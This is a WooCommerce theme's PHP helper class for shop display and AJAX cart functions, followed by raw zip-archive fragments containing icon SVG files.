		add_action( 'woocommerce_after_shop_loop', array( $this, 'blog_search_result' ), 100 );
		add_action( 'penci_after_search_loop', array( $this, 'product_search_result' ), 100 );
	}

	public static function get_instance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function penci_top_relate_products() {
		if ( wc_get_loop_prop( 'quickview', false ) || ! get_theme_mod( 'penci_single_product_top_related_product', true ) ) {
			return;
		}
		$current_id          = apply_filters( 'penci_top_relate_products_exclude', get_the_ID() );
		$top_relate_products = get_posts( array(
			'post_type'      => 'product',
			'post__not_in'   => array( $current_id ),
			'posts_per_page' => 2,
		) );
		if ( $top_relate_products ) {
			echo '<div class="penci-top-relate-post"><ul>';
			$count = 0;
			foreach ( $top_relate_products as $product_item ) {
				$id        = $product_item->ID;
				$product   = wc_get_product( $id );
				$classes   = 0 == $count ? 'left' : 'right';
				$link      = ( penci_is_shop_on_front() ) ? home_url() : get_post_type_archive_link( 'product' );
				$seperator = '<li class="item-shop-link"><a class="icon-link" href="' . esc_url( $link ) . '"><svg height="14px" viewBox="-19 -19 600 600" width="14px" xmlns="http://www.w3.org/2000/svg"><path d="m251.25 12.5c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 213.75h-201.25v-201.25h201.25zm0 0"/><path d="m562.5 12.5c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 213.75h-201.25v-201.25h201.25zm0 0"/><path d="m251.25 323.75c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 212.5h-201.25v-200h201.25zm0 0"/><path d="m562.5 323.75c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 212.5h-201.25v-200h201.25zm0 0"/></svg></a></li>';
				$seperator = 'left' == $classes ? $seperator : '';

				echo '<li class="top-ralate-item ' . $classes . '"><a href="' . get_permalink( $id ) . '"><span class="item-icon"><i class="penciicon-' . $classes . '-chevron"></i></span></a>';
				echo '<div class="inner-content"><div class="top-ralate-item__image"><a href="' . get_permalink( $id ) . '">' . get_the_post_thumbnail( $id, 'woocommerce_gallery_thumbnail' ) . '</a></div>';
				echo '<div class="top-ralate-item__summary"><h4><a href="' . get_permalink( $id ) . '">' . get_the_title( $id ) . '</a></h4><span class="price"><a href="' . get_permalink( $id ) . '">' . $product->get_price_html() . '</a></span></div></div>';
				echo '</li>' . $seperator;
				$count ++;
			}
			echo '</ul></div>';
		}
	}

	public function penci_product_quantity( $product ) {
		if ( ! $product->is_sold_individually() && 'variable' != $product->get_type() && $product->is_purchasable() && $product->is_in_stock() ) {
			woocommerce_quantity_input(
				array(
					'min_value' => 1,
					'max_value' => $product->backorders_allowed() ? '' : $product->get_stock_quantity(),
				)
			);
		}
	}

	public function penci_update_cart_item() {
		if ( ( isset( $_GET['item_id'] ) && $_GET['item_id'] ) && ( isset( $_GET['qty'] ) ) ) {
			global $woocommerce;
			if ( $_GET['qty'] ) {
				$woocommerce->cart->set_quantity( $_GET['item_id'], $_GET['qty'] );
			} else {
				$woocommerce->cart->remove_cart_item( $_GET['item_id'] );
			}
		}

		WC_AJAX::get_refreshed_fragments();
	}

	function product_label() {
		global $product;

		$output = array();

		$percentage_label = get_theme_mod( 'penci_woo_label_percentage', true );

		if ( $product->is_on_sale() ) {

			$percentage = '';

			if ( $product->get_type() == 'variable' && $percentage_label ) {

				$available_variations = $product->get_variation_prices();
				$max_percentage       = 0;

				foreach ( $available_variations['regular_price'] as $key => $regular_price ) {
					$sale_price = $available_variations['sale_price'][ $key ];

					if ( $sale_price < $regular_price ) {
						$percentage = round( ( ( $regular_price - $sale_price ) / $regular_price ) * 100 );

						if ( $percentage > $max_percentage ) {
							$max_percentage = $percentage;
						}
					}
				}

				$percentage = $max_percentage;
			} elseif ( ( $product->get_type() == 'simple' || $product->get_type() == 'external' || $product->get_type() == 'variation' ) && $percentage_label ) {
				$percentage = round( ( ( $product->get_regular_price() - $product->get_sale_price() ) / $product->get_regular_price() ) * 100 );
			}

			if ( $percentage ) {
				$output[] = '<span class="onsale product-label">-' . $percentage . '%' . '</span>';
			} else {
				$output[] = '<span class="onsale product-label">' . penci_woo_translate_text( 'penci_woo_trans_sale' ) . '</span>';
			}
		}

		if ( ! $product->is_in_stock() ) {
			$output[] = '<span class="out-of-stock product-label">' . penci_woo_translate_text( 'penci_woo_trans_sold_out' ) . '</span>';
		}

		if ( $product->is_featured() && get_theme_mod( 'penci_woo_label_hot_product', true ) ) {
			$output[] = '<span class="featured product-label">' . penci_woo_translate_text( 'penci_woo_trans_hot' ) . '</span>';
		}

		if ( $this->is_new_label_needed( $product->get_id() ) ) {
			$output[] = '<span class="new product-label">' . penci_woo_translate_text( 'penci_woo_trans_new' ) . '</span>';
		}

		if ( $output ) {
			echo '<div class="product-labels labels-' . get_theme_mod( 'penci_woo_label_style', 'square' ) . '">' . implode( '', $output ) . '</div>';
		}
	}

	public function is_new_label_needed( $product_id ) {
		$enable       = get_theme_mod( 'penci_woo_label_new_product', true );
		$new          = penci_get_single_product_meta( $product_id, 'product_extra_options', 'permanent_new_label' );
		$newness_days = get_theme_mod( 'penci_woo_label_new_product_period', 7 );
		$product      = wc_get_product( $product_id );
		$created      = strtotime( $product->get_date_created() );

		if ( $new ) {
			return true;
		}

		if ( $enable && $newness_days && ( time() - ( 60 * 60 * 24 * $newness_days ) ) < $created ) {
			return true;
		}

		return false;
	}

	public function product_grid_label() {
		if ( ! wc_get_loop_prop( 'is_paginated' ) || ! woocommerce_products_will_display() ) {
			return;
		}


		$default_posts_per_page    = array( penci_woo_get_products_per_page() );
		$per_page_options          = get_theme_mod( 'penci_woo_post_per_page_variations', '9,24,36,-1' );
		$products_per_page_options = ( ! empty( $per_page_options ) ) ? explode( ',', $per_page_options ) : array(
			'12' => 12,
			'24' => 24,
			'36' => 36,
		);
		$products_per_page_options = array_unique( array_merge( $default_posts_per_page, $products_per_page_options ) );
		asort( $products_per_page_options );
		?>

        <div class="penci-products-per-page">
			<span class="per-page-title">
				<?php echo penci_woo_translate_text( 'penci_woo_trans_show' ); ?>
			</span>

			<?php
			foreach ( $products_per_page_options as $key => $value ) :

				$classes = '';
				$args = array(
					'per_page' => $value,
				);

				$link = add_query_arg( $args, penci_shop_page_link( true ) );

				if ( (int) penci_woo_get_products_per_page() === (int) $value ) { // phpcs:ignore
					$classes .= ' current-variation';
				}
				?>
                <a rel="nofollow noopener" href="<?php echo esc_url( $link ); ?>"
                   class="per-page-variation<?php echo esc_attr( $classes ); ?>">
					<span>
						<?php
						$text = '%s';
						esc_html( printf( $text, $value == - 1 ? penci_woo_translate_text( 'penci_woo_trans_all' ) : $value ) );
						?>
					</span>
                </a>
			<?php endforeach; ?>
        </div>
		<?php
	}

	public function product_style_select( $is_element ) {
		if ( ! wc_get_loop_prop( 'is_paginated' ) || ! woocommerce_products_will_display() ) {
			return;
		}

		$shop_view        = get_theme_mod( 'penci_shop_product_view', 'grid_list' );
		$per_row_selector = get_theme_mod( 'penci_woo_per_row_columns_selector', true );
		$columns_settings = get_theme_mod( 'penci_shop_product_columns', 3 );

		$per_row_options = ( 4 >= $columns_settings ) ? array( 2, 3, 4 ) : array( 2, 3, 4, 5, 6 );

		$current_shop_view        = penci_get_shop_view();
		$current_per_row          = penci_get_products_columns_per_row();
		$products_per_row_options = ( ! empty( $per_row_options ) ) ? array_unique( $per_row_options ) : array(
			2,
			3,
			4
		);

		if ( 'list' === $shop_view || ( 'grid' === $shop_view && ! $per_row_selector ) || ( 'grid' === $shop_view && ! $per_row_options ) ) {
			return;
		}

		?>
        <div class="penci-products-shop-view <?php echo esc_attr( 'products-view-' . $shop_view ); ?>">
			<?php if ( 'grid' !== $shop_view ) : ?>
				<?php
				$classes = '';
				$args    = array(
					'shop_view' => 'list',
				);

				if ( $is_element ) {
					$args['shortcode'] = true;
				}

				if ( ( 'list' === $current_shop_view && ! $is_element ) || ( $is_element && isset( $_GET['shop_view'] ) && 'list' === $_GET['shop_view'] ) ) { // phpcs:ignore
					$classes .= ' current-variation';
				}

				$link = add_query_arg( $args, penci_shop_page_link( true ) );
				?>

                <a rel="nofollow noopener" href="<?php echo esc_url( $link ); ?>"
                   class="shop-view per-row-list<?php echo esc_attr( $classes ); ?>">
                    <svg class="icon">
                        <use xlink:href="#list"/>
                    </svg>
                </a>
			<?php endif ?>

			<?php if ( $per_row_selector && $per_row_options ) : ?>
				<?php foreach ( $products_per_row_options as $key => $value ) : ?>
					<?php
					if ( 0 === $value ) {
						continue;
					}

					$classes = '';
					$args    = array(
						'shop_view' => 'grid',
						'per_row'   => $value,
					);

					if ( $is_element ) {
						$args['shortcode'] = true;
					}

					$current_columns = null;

					if ( empty( $_GET['per_row'] ) ) {
						$current_columns = wc_get_loop_prop( 'columns' );
					}

					if ( 'list' !== $current_shop_view && ( (int) $value === (int) $current_per_row && ! $is_element ) || ( $is_element && isset( $_GET['per_row'] ) && $_GET['per_row'] === $value ) ) { // phpcs:ignore
						$classes .= ' current-variation';
					}

					$classes .= ' per-row-' . $value;

					$link = add_query_arg( $args, penci_shop_page_link( true ) );
					?>

                    <a title="<?php echo sprintf( esc_attr__( 'Show %s columns', 'soledad' ), $value ); ?>"
                       rel="nofollow noopener"
                       href="<?php echo esc_url( $link ); ?>"
                       class="shop-view<?php echo esc_attr( $classes ); ?>">
                        <svg class="icon">
                            <use xlink:href="#columns-<?php echo esc_attr( $value ); ?>"/>
                        </svg>
                    </a>
				<?php endforeach; ?>
			<?php endif ?>
            <div hidden>
                <svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
                    <symbol id="columns-2" viewBox="0 0 444 444"><title>columns-2</title>
                        <path d="m7 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                        <path d="m256 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                        <path d="m7 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                        <path d="m256 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
                    </symbol>
                    <symbol id="columns-3" viewBox="0 0 512 512"><title>columns-3</title>
                        <g>
                            <g>
                                <rect x="180.67" y="361.33" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="180.67" y="180.66" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="361.33" width="150.67" height="150.66"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect y="180.66" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="361.33" y="180.66" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect y="361.33" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="361.33" y="361.33" width="150.67" height="150.67"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect width="150.67" height="150.66"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <rect x="180.67" width="150.67" height="150.66"/>
                            </g>
                        </g>
                    </symbol>
                    <symbol id="columns-4" viewBox="0 0 397.061 397.061"><title>columns-4</title>
                        <rect x="104.49" y="208.98" width="83.592" height="83.592"/>
                        <rect x="104.49" y="0" width="83.592" height="83.592"/>
                        <rect x="104.49" y="313.469" width="83.592" height="83.592"/>
                        <rect x="104.49" y="104.49" width="83.592" height="83.592"/>
                        <rect x="5.224" y="208.98" width="78.367" height="83.592"/>
                        <rect x="5.224" y="313.469" width="78.367" height="83.592"/>
                        <rect x="5.224" y="0" width="78.367" height="83.592"/>
                        <rect x="5.224" y="104.49" width="78.367" height="83.592"/>
                        <rect x="208.98" y="208.98" width="83.592" height="83.592"/>
                        <rect x="313.469" y="104.49" width="78.367" height="83.592"/>
                        <rect x="313.469" y="208.98" width="78.367" height="83.592"/>
                        <rect x="313.469" y="0" width="78.367" height="83.592"/>
                        <rect x="208.98" y="313.469" width="83.592" height="83.592"/>
                        <rect x="208.98" y="104.49" width="83.592" height="83.592"/>
                        <rect x="208.98" y="0" width="83.592" height="83.592"/>
                        <rect x="313.469" y="313.469" width="78.367" height="83.592"/>
                    </symbol>
                    <symbol id="columns-5" viewBox="0 0 24 19">
                        <rect width="4" height="4"/>
                        <rect x="5" width="4" height="4"/>
                        <rect x="10" width="4" height="4"/>
                        <rect x="15" width="4" height="4"/>
                        <rect x="20" width="4" height="4"/>
                        <rect y="5" width="4" height="4"/>
                        <rect x="5" y="5" width="4" height="4"/>
                        <rect x="10" y="5" width="4" height="4"/>
                        <rect x="15" y="5" width="4" height="4"/>
                        <rect x="20" y="5" width="4" height="4"/>
                        <rect y="10" width="4" height="4"/>
                        <rect x="5" y="10" width="4" height="4"/>
                        <rect x="10" y="10" width="4" height="4"/>
                        <rect x="15" y="10" width="4" height="4"/>
                        <rect x="20" y="10" width="4" height="4"/>
                        <rect y="15" width="4" height="4"/>
                        <rect x="5" y="15" width="4" height="4"/>
                        <rect x="10" y="15" width="4" height="4"/>
                        <rect x="15" y="15" width="4" height="4"/>
                        <rect x="20" y="15" width="4" height="4"/>
                    </symbol>
                    <symbol id="columns-6" viewBox="0 0 23 19">
                        <rect width="3" height="4"/>
                        <rect x="4" width="3" height="4"/>
                        <rect x="8" width="3" height="4"/>
                        <rect x="12" width="3" height="4"/>
                        <rect x="16" width="3" height="4"/>
                        <rect x="20" width="3" height="4"/>
                        <rect y="5" width="3" height="4"/>
                        <rect x="4" y="5" width="3" height="4"/>
                        <rect x="8" y="5" width="3" height="4"/>
                        <rect x="12" y="5" width="3" height="4"/>
                        <rect x="16" y="5" width="3" height="4"/>
                        <rect x="20" y="5" width="3" height="4"/>
                        <rect y="10" width="3" height="4"/>
                        <rect x="4" y="10" width="3" height="4"/>
                        <rect x="8" y="10" width="3" height="4"/>
                        <rect x="12" y="10" width="3" height="4"/>
                        <rect x="16" y="10" width="3" height="4"/>
                        <rect x="20" y="10" width="3" height="4"/>
                        <rect y="15" width="3" height="4"/>
                        <rect x="4" y="15" width="3" height="4"/>
                        <rect x="8" y="15" width="3" height="4"/>
                        <rect x="12" y="15" width="3" height="4"/>
                        <rect x="16" y="15" width="3" height="4"/>
                        <rect x="20" y="15" width="3" height="4"/>
                    </symbol>
                    <symbol id="list" viewBox="0 0 512 512"><title>list</title>
                        <g>
                            <g>
                                <path d="M501.333,42.667H138.667c-5.888,0-10.667,4.779-10.667,10.667S132.779,64,138.667,64h362.667 C507.221,64,512,59.221,512,53.333S507.221,42.667,501.333,42.667z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M352,106.667H138.667c-5.888,0-10.667,4.779-10.667,10.667S132.779,128,138.667,128H352 c5.888,0,10.667-4.779,10.667-10.667S357.888,106.667,352,106.667z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M501.333,213.333H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667h362.667 c5.888,0,10.667-4.779,10.667-10.667S507.221,213.333,501.333,213.333z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M352,277.333H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667H352 c5.888,0,10.667-4.779,10.667-10.667S357.888,277.333,352,277.333z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M501.333,384H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667h362.667 c5.888,0,10.667-4.779,10.667-10.667S507.221,384,501.333,384z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <path d="M352,448H138.667c-5.888,0-10.667,4.779-10.667,10.667s4.779,10.667,10.667,10.667H352 c5.888,0,10.667-4.779,10.667-10.667S357.888,448,352,448z"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <circle cx="42.667" cy="85.333" r="42.667"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <circle cx="42.667" cy="256" r="42.667"/>
                            </g>
                        </g>
                        <g>
                            <g>
                                <circle cx="42.667" cy="426.667" r="42.667"/>
                            </g>
                        </g>
                    </symbol>
                </svg>
            </div>
        </div>
		<?php
	}

	public function product_categories_link() {
		global $product;

		if ( ! wc_get_loop_prop( 'loop_categories', true ) ) {
			return;
		}

		$terms = get_the_terms( $product->get_id(), 'product_cat' );

		if ( ! $terms ) {
			return;
		}

		$terms_array = array();
		$parent      = array();
		$child       = array();
		$links       = array();

		foreach ( $terms as $term ) {
			$terms_array[ $term->term_id ] = $term;

			if ( ! $term->parent ) {
				$parent[ $term->term_id ] = $term->name;
			}
		}

		foreach ( $terms as $term ) {
			if ( $term->parent ) {
				unset( $parent[ $term->parent ] );

				if ( array_key_exists( $term->parent, $terms_array ) ) {
					$child[ $term->parent ] = get_term( $term->parent )->name;
				}

				$child[ $term->term_id ] = $term->name;
			}
		}

		$terms = $child + $parent;

		foreach ( $terms as $key => $value ) {
			$links[] = '<a href="' . esc_url( get_term_link( $key ) ) . '" rel="tag">' . esc_html( $value ) . '</a>';
		}

		?>
        <div class="penci-product-cats">
			<?php echo implode( ', ', $links ); // phpcs:ignore ?>
        </div>
		<?php
	}

	public function login_to_see_price() {
		$restrict_price = get_theme_mod( 'penci_woocommerce_restrict_cart_price', false );
		if ( ! is_user_logged_in() && $restrict_price ) {
			add_filter( 'woocommerce_get_price_html', array( $this, 'login_to_see_price_html' ) );
			add_filter( 'woocommerce_loop_add_to_cart_link', '__return_false' );

			// Add to cart btns
			remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
			remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 );
		}
	}

	public function login_to_see_price_html() {
		$restrict_price = get_theme_mod( 'penci_woocommerce_restrict_cart_price', false );
		if ( ! is_user_logged_in() && $restrict_price ) {
			return '<a href="' . esc_url( get_permalink( wc_get_page_id( 'myaccount' ) ) ) . '" class="restrict-price-tag">' . penci_woo_translate_text( 'penci_woo_trans_lgtspr' ) . '</a>';
		}
	}

	public function top_catalog_product_filter() {
		?>

        <div id="penci-top-product-filter" class="penci-top-product-filter">
			<?php dynamic_sidebar( 'penci-shop-sidebar' ); ?>
        </div>

		<?php
	}

	public function top_catalog_product_filter_trigger() {
		if ( ! get_theme_mod( 'pencidesign_woo_filter_widget_enable', true ) ) {
			return false;
		}
		?>
        <div class="penci-product-top-filter-button">
            <a class="penci-filter-button"
               title="<?php echo penci_woo_translate_text( 'penci_woo_trans_sidebar_filter' ); ?>"
               href="#penci-top-product-filter">
                <i>
                    <svg enable-background="new 0 0 512 512" height="20" viewBox="0 0 512 512" width="20"
                         xmlns="http://www.w3.org/2000/svg">
                        <g>
                            <path d="m90.5 0h-30v362h-30v90h30v60h30v-60h30v-90h-30zm0 422h-30v-30h30z"/>
                            <path d="m481.5 362h-30v-362h-30v362h-30v90h30v60h30v-60h30zm-30 60h-30v-30h30z"/>
                            <path d="m331.5 0h-30v222h-30v90h30v200h30v-200h30v-90h-30zm0 282h-30v-30h30z"/>
                            <path d="m210.5 0h-30v53.652h-30v90h30v368.348h30v-368.348h30v-90h-30zm0 113.652h-30v-30h30z"/>
                        </g>
                    </svg>
                </i>
                <span><?php echo penci_woo_translate_text( 'penci_woo_trans_sidebar_filter' ); ?></span>
            </a>
        </div>
		<?php
	}

	public function ajax_load_products() {
		$preloader = isset( $_GET['preloader'] ) ? $_GET['preloader'] : false;
		$nonce     = isset( $_REQUEST['requestid'] ) ? $_REQUEST['requestid'] : false;
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( __( 'Ooppppp', 'soledad' ) );
		} elseif ( ! empty( $_GET['settings'] ) ) {
			penci_elementor_products_template( $_GET['settings'], $preloader );
			die();
		}
	}

	public function product_sale_countdown() {
		global $product;
		$sale_date_end   = get_post_meta( $product->get_id(), '_sale_price_dates_to', true );
		$sale_date_start = get_post_meta( $product->get_id(), '_sale_price_dates_from', true );

		if ( $product->get_type() == 'variable' ) {
			// Variations cache
			$cache                = apply_filters( 'pencicountdown_variable_cache', true );
			$transient_name       = 'pencicountdown_variable_cache_' . $product->get_id();
			$available_variations = array();

			if ( $cache ) {
				$available_variations = get_transient( $transient_name );
			}

			if ( ! $available_variations ) {
				$available_variations = $product->get_available_variations();
				if ( $cache ) {
					set_transient( $transient_name, $available_variations, apply_filters( 'pencicountdown_variable_cache_time', WEEK_IN_SECONDS ) );
				}
			}

			if ( $available_variations ) {
				$sale_date_end   = get_post_meta( $available_variations[0]['variation_id'], '_sale_price_dates_to', true );
				$sale_date_start = get_post_meta( $available_variations[0]['variation_id'], '_sale_price_dates_from', true );
			}
		}

		$curent_date = strtotime( date( 'Y-m-d H:i:s' ) );

		if ( $sale_date_end < $curent_date || $curent_date < $sale_date_start ) {
			return;
		}

		$timezone = 'GMT';

		if ( apply_filters( 'penciwp_timezone', false ) ) {
			$timezone = wc_timezone_string();
		}

		wp_enqueue_script( 'woo-countdown' );

		echo '<div class="penci-product-countdown penci-time-countdown" data-end-date="' . esc_attr( date( 'Y-m-d H:i:s', $sale_date_end ) ) . '" data-timezone="' . $timezone . '"></div>';
	}

	public function mobile_nav_menu() {
		if ( penci_is_shop_archive() ) {
			wc_get_template_part( 'global/mobile-bottom-nav' );
		}
	}

	public function mobile_menu_filter( $items, $args ) {
		$menu_id = get_theme_mod( 'penci_woo_mobile_nav_menu' );
		if ( penci_is_shop_catelog() && $args->menu == $menu_id ) {
			$items .= '<li class="cart-filter"><a href="#sidebar-product-filter"><i class="fa fa-filter" aria-hidden="true"></i>' . penci_woo_translate_text( 'penci_woo_trans_fasort' ) . '</a></li>';
		}

		return $items;
	}

	public function get_product_info() {
		$data = array();
		if ( isset( $_REQUEST['requestid'] ) && isset( $_REQUEST['id'] ) && wp_verify_nonce( $_REQUEST['requestid'], 'ajax-nonce' ) ) {

			$id = $_REQUEST['id'];

			$data = array(
				'title'     => get_the_title( $id ),
				'item_link' => get_the_permalink( $id ),
				'img'       => get_the_post_thumbnail_url( $id, 'woocommerce_gallery_thumbnail' ),
			);
		}
		wp_send_json_success(
			$data,
			200
		);
	}

	public function empty_cart_message() {
		?>
        <div class="woocommerce-content-wrapper">
            <div class="penci-empty-cart penci-empty-page penci-empty-page-text">
                <h3 class="penci-compare-empty-title"><?php echo penci_woo_translate_text( 'penci_woo_cart_empty_title' ) ?></h3>
				<?php echo penci_woo_translate_text( 'penci_woo_cart_empty_textarea' ) ?>
            </div>
        </div>
		<?php
	}

	public function mobile_cart_totals() {
		echo '<span class="penci-mobile-cart-item current-item">' . WC()->cart->get_cart_contents_count() . '</span>';
	}

	public function mobile_cart_totals_fragment( $fragments ) {
		global $woocommerce;

		ob_start();

		?>
        <span class="penci-mobile-cart-item current-item"><?php echo esc_attr( $woocommerce->cart->cart_contents_count ); ?></span>
		<?php
		$fragments['span.penci-mobile-cart-item.current-item'] = ob_get_clean();

		return $fragments;
	}

	public function penci_add_to_cart_variable() {
		ob_start();

		$product_id   = apply_filters( 'woocommerce_add_to_cart_product_id', absint( $_POST['product_id'] ) );
		$quantity     = empty( $_POST['quantity'] ) ? 1 : apply_filters( 'woocommerce_stock_amount', $_POST['quantity'] );
		$variation_id = $_POST['variation_id'];

		$cart_item_data = $_POST;
		unset( $cart_item_data['quantity'] );

		$variation = array();

		foreach ( $cart_item_data as $key => $value ) {
			if ( preg_match( "/^attribute*/", $key ) ) {
				$variation[ $key ] = $value;
			}
		}

		foreach ( $variation as $key => $value ) {
			$variation[ $key ] = stripslashes( $value );
		}
		$passed_validation = apply_filters( 'woocommerce_add_to_cart_validation', true, $product_id, $quantity );

		if ( $passed_validation && WC()->cart->add_to_cart( $product_id, $quantity, $variation_id, $variation, $cart_item_data ) ) {
			do_action( 'woocommerce_ajax_added_to_cart', $product_id );
			if ( get_option( 'woocommerce_cart_redirect_after_add' ) == 'yes' ) {
				wc_add_to_cart_message( $product_id );
			}
			global $woocommerce;
			$items = $woocommerce->cart->get_cart();
			wc_setcookie( 'woocommerce_items_in_cart', count( $items ) );
			wc_setcookie( 'woocommerce_cart_hash', md5( json_encode( $items ) ) );
			do_action( 'woocommerce_set_cart_cookies', true );
			// Return fragments
			WC_AJAX::get_refreshed_fragments();

		} else {

			// If there was an error adding to the cart, redirect to the product page to show any errors
			$data = array(
				'error'       => true,
				'product_url' => apply_filters( 'woocommerce_cart_redirect_after_error', get_permalink( $product_id ), $product_id )
			);
			wp_send_json_error( $data );
		}
	}

	public function blog_search_result() {
		if ( ! is_search() || ! get_theme_mod( 'penci_woocommerce_search_included_posts', true ) ) {
			return;
		}

		$search_query = get_search_query();
		$args         = [ 'search_query' => $search_query ];
		get_template_part( 'woocommerce/content', 'blog-search', $args );
	}

	public function product_search_result() {
		if ( ! is_search() || ! apply_filters( 'penci_enable_product_post_search', false ) ) {
			return;
		}
		$search_query = get_search_query();
		penci_elementor_products_template( [ 'search_query' => $search_query ] );
	}
}

$penci_product_misc = new penci_product_misc;
PK     0w\͝      woocommerce/svg/list.svgnu [        <svg enable-background="new 0 0 24 24" height="512" viewBox="0 0 24 24" width="512" xmlns="http://www.w3.org/2000/svg">
    <path d="m5 0h-4c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h4c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m23 0h-14c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h14c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m5 9h-4c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h4c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m23 9h-14c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h14c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m5 18h-4c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h4c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
    <path d="m23 18h-14c-.552 0-1 .448-1 1v4c0 .552.448 1 1 1h14c.552 0 1-.448 1-1v-4c0-.552-.448-1-1-1z"/>
</svg>
PK     0w\_      woocommerce/svg/3-columns.svgnu [        <?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 19.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" x="0px"
     y="0px"
     viewBox="0 0 512 512" style="enable-background:new 0 0 512 512;" xml:space="preserve">
<g>
	<g>
		<rect x="180.67" y="361.33" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="180.67" y="180.66" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="361.33" width="150.67" height="150.66"/>
	</g>
</g>
    <g>
	<g>
		<rect y="180.66" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="361.33" y="180.66" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect y="361.33" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect x="361.33" y="361.33" width="150.67" height="150.67"/>
	</g>
</g>
    <g>
	<g>
		<rect width="150.67" height="150.66"/>
	</g>
</g>
    <g>
	<g>
		<rect x="180.67" width="150.67" height="150.66"/>
	</g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
</svg>
PK     0w\ J      woocommerce/svg/4-columns.svgnu [        <?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 19.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" x="0px"
     y="0px"
     viewBox="0 0 397.061 397.061" style="enable-background:new 0 0 397.061 397.061;" xml:space="preserve">
<g>
	<g>
		<g>
			<rect x="104.49" y="208.98" width="83.592" height="83.592"/>
            <rect x="104.49" y="0" width="83.592" height="83.592"/>
            <rect x="104.49" y="313.469" width="83.592" height="83.592"/>
            <rect x="104.49" y="104.49" width="83.592" height="83.592"/>
            <rect x="5.224" y="208.98" width="78.367" height="83.592"/>
            <rect x="5.224" y="313.469" width="78.367" height="83.592"/>
            <rect x="5.224" y="0" width="78.367" height="83.592"/>
            <rect x="5.224" y="104.49" width="78.367" height="83.592"/>
            <rect x="208.98" y="208.98" width="83.592" height="83.592"/>
